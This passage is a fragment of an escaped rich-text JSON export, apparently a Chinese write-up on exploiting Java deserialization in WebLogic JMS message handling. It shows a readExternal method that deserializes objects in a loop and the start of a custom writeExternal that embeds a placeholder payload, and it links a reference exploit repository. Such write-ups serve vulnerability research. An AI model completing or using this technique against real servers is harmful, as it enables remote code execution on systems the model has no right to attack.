{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BZ5k-1673852880318&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;en7O-1673852880317&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.readExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JnUg-1673852880320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hNqw-1673852880319&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var2 = var1.readByte();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lFar-1673852880322&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QVQO-1673852880321&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var3 = (byte)(var2 &amp; 127);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hGTa-1673852880324&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nk95-1673852880323&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var3 &gt;= 1 &amp;&amp; var3 &lt;= 3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G5WF-1673852880326&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hImJ-1673852880325&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        switch (var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zTyQ-1673852880328&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vpob-1673852880327&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5djk-1673852880330&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;piWI-1673852880329&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OvgL-1673852880332&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dwGN-1673852880331&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                BufferInputStream var4 = this.payload.getInputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8GQ9-1673852880334&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Uucs-1673852880333&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                ObjectInputStream var5 = new ObjectInputStream(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QKeu-1673852880336&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xsHo-1673852880335&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.setBodyWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZQL2-1673852880338&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T30b-1673852880337&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.setPropertiesWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1CSo-1673852880340&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zAUh-1673852880339&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nyer-1673852880342&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vt36-1673852880341&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FW1M-1673852880344&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BVe3-1673852880343&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6TYg-1673852880346&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bbPb-1673852880345&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.writeObject(var5.readObject());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qibw-1673852880348&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tv6p-1673852880347&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EEms-1673852880350&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I58J-1673852880349&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (EOFException var9) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HSqw-1673852880352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;adT0-1673852880351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s3bD-1673852880354&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IpRZ-1673852880353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.reset();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bq7j-1673852880356&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vIjp-1673852880355&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.setPropertiesWritable(false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eR0P-1673852880359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wNP8-1673852880358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6N9W-1673852880361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iBD6-1673852880360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.payload = var7;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MuTt-1673852880363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8xf-1673852880362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (JMSException var8) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6uXF-1673852880365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;svmI-1673852880364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        JMSClientExceptionLogger.logStackTrace(var8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TBVb-1673852880367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XCHk-1673852880366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5YRW-1673852880369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a1Fc-1673852880368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (MessageNotWriteableException var10) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PQu3-1673852880371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h59x-1673852880370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var10);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6nEU-1673852880373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RPlg-1673852880372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (javax.jms.MessageFormatException var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VVCj-1673852880375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MNVh-1673852880374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KvPl-1673852880377&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r51f-1673852880376&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (JMSException var12) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u1nM-1673852880379&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kwS8-1673852880378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var12);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WSB6-1673852880381&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jceO-1673852880380&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N939-1673852880383&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9xNw-1673852880382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mMS4-1673852880385&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4FkG-1673852880384&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e6D6-1673852880387&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r4e3-1673852880386&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if ((var2 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6qLK-1673852880389&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dsSU-1673852880388&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.readExternalCompressedMessageBody(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t1Tm-1673852880391&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zo3a-1673852880390&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdvp-1673852880393&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOPH-1673852880392&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XF4E-1673852880395&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGNd-1673852880394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4s03-1673852880397&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cj87-1673852880396&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kZPn-1673852880399&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KgdG-1673852880398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7PMw-1673852880401&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dp6v-1673852880400&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gV9N-1673852880403&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GTPh-1673852880402&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nHlB-1673852880405&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mGYR-1673852880404&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        throw JMSUtilities.versionIOException(var3, 1, 3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K3IU-1673852880407&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ssOZ-1673852880406&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iUrg-1673852880409&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3F0Y-1673852880408&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C3Pj-1673852863478&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lJXu-1673852863476&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;etN2-1673852427732&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rsFE-1673852427730&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考项目代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6N7A-1673853031878&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;egiI-1673853031876&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;L40Y-1673853162645&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/zhzhdoai/Weblogic_Vuln&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bHt7-1673853162644&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/zhzhdoai/Weblogic_Vuln&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YNIP-1673853162646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zZNu-1673853163816&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n9JY-1673853163815&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;自实现一个writeExternal逻辑：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2IZl-1673853200645&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6DW4-1673853200599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EWgV-1673853200598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void writeExternal(ObjectOutput var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZbOs-1673853200601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PRpa-1673853200600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.writeExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;96bl-1673853200603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zQRi-1673853200602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;scSg-1673853200605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rzOb-1673853200604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ObjectOutputStream var3 = new ObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2s3w-1673853200607&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G2fH-1673853200606&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h1pq-1673853200609&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G4qo-1673853200608&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1984-1673853200611&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZWAZ-1673853200610&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.writeObject(\&#34;payload_here\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;67cP-1673853200613&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yarE-1673853200612&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B0zY-1673853200615&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1IVQ-1673853200614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (IllegalAccessException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2ZGv-1673853200617&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ryp-1673853200616&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fr5M-1673853200619&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ea6y-1673853200618&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (InvocationTargetException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xkCI-1673853200621&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOrX-1673853200620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Oed7-1673853200623&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iMhG-1673853200622&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (InstantiationException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLQE-1673853200625&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lXNX-1673853200624&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rwfb-1673853200627&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;paeR-1673853200626&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (NoSuchMethodException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7O0f-1673853200630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WtDq-1673853200628&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NHvl-1673853200632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UqN6-1673853200631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (ClassNotFoundException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y6hx-1673853200634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1jAm-1673853200633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        